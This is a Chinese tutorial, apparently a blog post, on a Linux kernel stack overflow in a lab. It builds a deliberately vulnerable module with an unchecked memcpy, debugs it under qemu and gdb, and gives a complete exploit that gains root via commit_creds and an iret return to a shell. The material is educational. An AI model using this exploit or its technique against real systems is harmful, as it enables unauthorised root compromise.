linux-kernel expoit study (3)---栈溢出

Binary
Linux-kernel, Pwn

write linux kernel exploit 2

Stack smashing

简单的内核栈溢出

一个简单的demo

漏洞很明显，memcpy没有对长度进行判断

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$ vim stack_smashing.c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

int bug2_write(struct file *file,const char *buf,unsigned long len)
{
	char localbuf[8];
	memcpy(localbuf,buf,len);
	return len;
}

static int __init stack_smashing_init(void)
{
	printk(KERN_ALERT "stack_smashing driver init!\n");
	create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
	return 0;
}

static void __exit stack_smashing_exit(void)
{
	printk(KERN_ALERT "stack_smashing driver exit!\n");
}

module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
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ko文件的Makefile, KERNELDR目录设置为linux内核源码的根目录即可
obj-m := stack_smashing.o  
KERNELDR := ~/linux_kernel/linux-2.6.32.1  
PWD := $(shell pwd)  
modules:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

简单的测试

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qemu启动内核，加载相关的busybox
$ qemu-system-i386 -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda

>加载模块
$ insmod stack_smashing.ko


POC测试

发现此时编译的ko是有canary检测了，为了测试方便，需要关闭栈保护机制，可以修改~linux_kernel/linux-2.6.32.1中的配置文件.config，找到CONFIG_CC_STACKPROTECTOR注释掉即可，然后重新编译内核和ko文件

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关闭CONFIG_CC_STACKPROTECTOR之后重新测试栈溢出

调试模块

由于模块并没有作为vmlinux的一部分传给gdb，因此必须通过某种方法把模块信息告知gdb，可以通过add-symbol-file命令把模块的详细信息告知gdb，由于模块也是一个elf文件，需要知道模块的.text、.bss、.data节区地址并通过add-symbol-file指定。
模块stack_smashing.ko的这三个信息分别保存在/sys/module/stack_smashing/sections/.text、/sys/module/stack_smashing/sections/.bss和/sys/module/stack_smashing/sections/.data，由于stack_smashing模块没有bss、data节区所以只需要指定text即可。

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获取text节区地址
$ grep 0 /sys/module/stack_smashing/sections/.text


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在gdb中添加模块信息
gdb-peda$ add-symbol-file /home/swing/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000

如果存在data和bss节区可以如下指定：
gdb-peda$ add-symbol-file /home/swingr/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000 -s .bss xxxx -s .data xxxx

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对漏洞函数下断点，可以看到bug2_write在模块中的偏移是0x30，所以在0xc8830000+0x30处下断点
gdb-peda$ b bug2_write
Breakpoint 1 at 0x30: bug2_write. (2 locations)
gdb-peda$ b *0xc8830030

具体调试步骤

调试模式启动kernel

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$ qemu-system-i386 -S -kernel arch/i386/boot/bzImage -hda /tmp/my.img -append "root=/dev/sda"

设置qemu gdbserver(Ctrl+Alt+2)

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(qemu) gdbserver tcp::1234

gdb调试kernel

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$ gdb vmlinux
gdb-peda$ target remote localhost:1234
gdb-peda$ c

继续运行qemu(Ctrl+Alt+1)

在启动的内核中加载模块

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$ insmod stack_smashing.ko

找到模块stack_smashing的text地址

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$ grep 0 /sys/module/stack_smashing/sections/.text
0xc8830000

在gdb中command＋c停止kernel运行加载符号并设置断点

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gdb-peda$ c
Continuing.
^C

gdb-peda$ file vmlinux
Reading symbols from vmlinux...done.

gdb-peda$ add-symbol-file /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko 0xc8830000
add symbol table from file "/home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko" at
	.text_addr = 0xc8830000
Reading symbols from /home/joker/linux_kernel/write_linux_kernel_exploit/stack_smashing/stack_smashing.ko...done.

添加断点

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gdb-peda$ b bug2_write

qemu中触发漏洞
$ echo ABCDEFGHIJKLMNOPQRSTUVWXYZ > /proc/bug2

进入gdb中调试
gdb-peda$ s
Warning: not running or target is remote
9 memcpy(localbuf,buf,len);

gdb-peda$ x /20i $eip
=> 0xc883000f <bug2_write+15>: mov esi,edx
0xc8830011 <bug2_write+17>: shr ecx,0x2
0xc8830014 <bug2_write+20>: lea edi,[ebp-0x10]
0xc8830017 <bug2_write+23>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
0xc8830019 <bug2_write+25>: mov ecx,eax
0xc883001b <bug2_write+27>: and ecx,0x3
0xc883001e <bug2_write+30>: je 0xc8830022 <bug2_write+34>
0xc8830020 <bug2_write+32>: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
0xc8830022 <bug2_write+34>: add esp,0x8
0xc8830025 <bug2_write+37>: pop esi
0xc8830026 <bug2_write+38>: pop edi
0xc8830027 <bug2_write+39>: pop ebp
0xc8830028 <bug2_write+40>: ret
可以看到memcpy已经被编译器优化为rep movs指令

在函数返回处下断点
gdb-peda$ b *0xc8830028
gdb-peda$ c
gdb-peda$ x /10i $eip
=> 0xc8830028 <bug2_write+40>: ret

可以看到此时ret之后控制eip为0x58575655
gdb-peda$ x /wx $esp
0xc7a63f30: 0x58575655

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poc
$ cat stack_smashing_poc.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
	char buf[24];
        memset(buf,'A',24);
        *((void**) (buf+20)) = 0x43434343;
        //write(1,buf,sizeof(buf));
        int fd = open("/proc/bug2", O_WRONLY);
        write(fd, buf, sizeof(buf));

	return 0;
}

exp

从内核模式赋予root权限commit_creds(prepare_kernel_cred(0))然后直接返回用户模式，并在用户模式启一个shell，拿到root shell，其中使用iret指令来返回。

iret简介

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当使用IRET指令返回到相同保护级别的任务时，IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器，并弹出标志寄存器内容到EFLAGS寄存器。

当使用IRET指令返回到一个不同的保护级别时，IRET不仅会从堆栈弹出以上内容，还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。

硬件在栈上保存了trap frame，iret从下面的结构中恢复到用户模式

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struct trap_frame 
{
	void* eip;				// instruction pointer +0
	uint32_t cs;			// code segment    +4
	uint32_t eflags;		// CPU flags       +8
	void* esp;				// stack pointer       +12
	uint32_t ss;			// stack segment   +16
} __attribute__((packed));

构造fake trap frame和用户模式shell

构造fake trap frame(struct trap_frame)

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void prepare_tf(void)
{
		asm("pushl %cs; popl tf+4;"	//填充tf.cs为当前的cs
		"pushfl; popl tf+8;"		//填充tf.eflags为当前的eflags
		"pushl %esp; popl tf+12;"	//填充tf.esp为当前的esp
		"pushl %ss; popl tf+16;");	//填充tf.ss为当前的ss
		tf.eip = &launch_shell;		//填充tf.eip为launch_shell
		tf.esp -= 1024;		//unused part of stack
}

用户模式shell

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void launch_shell(void) 
{
	execl("/bin/sh", "sh", NULL);
}

最终的exp和调试

注意添加断点直接b bug2_write,通过commit_creds(prepare_kernel_cred(0))赋予root权限
并通过iret从内核态直接返回用户态然后启动用户态的shell(launch_shell)此时得到的就是root shell

exp
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#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
void get_shell(void){
    execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
    asm("pushl %cs;popl tf+4;" //set cs
        "pushfl;popl tf+8;"  //set eflags
        "pushl %esp;popl tf+12;"
        "pushl %ss;popl tf+16;");
    tf.eip = &get_shell;
    tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1067c30;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1067a90;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
int main(void){
    char buf[24];
    memset(buf,0x41,24);
    *((void**)(buf+20)) = &payload; //set eip to payload
    init_tf_work();
    write(1,buf,sizeof(buf));
    int fd = open("/proc/bug2",O_WRONLY);
    //exploit
    write(fd,buf,sizeof(buf));
    return 0;
}
3. 调试exploit

先要做一些准备工作：

  • 确定模块代码节地址

  • gdb设置


然后就可以返回到系统中，运行exploit程序了。

对ret指令下断，然后c过去，这时候单步的话，应该就ret到我们payload的地址了。


查看一下栈顶的情况：

接下来，我们单步，直行进入我们的payload。

这里可以看到先去执行commit_creds(prepare_kernel_cred(0))了。

我们主要关注iret的时候：

红色部分就是我们伪造的tf结构啦！


这边可以看到eip指向是我们用来起shell的函数，这样看来整个payload结构是没什么问题的。

最终效果

按write-linux-kernel-exploit-1文中——qemu中添加普通用户并测试

总结

真实环境中，canary是启用的，一旦canary被覆盖，就会造成kernel panics

引用

linux_kernel_exploit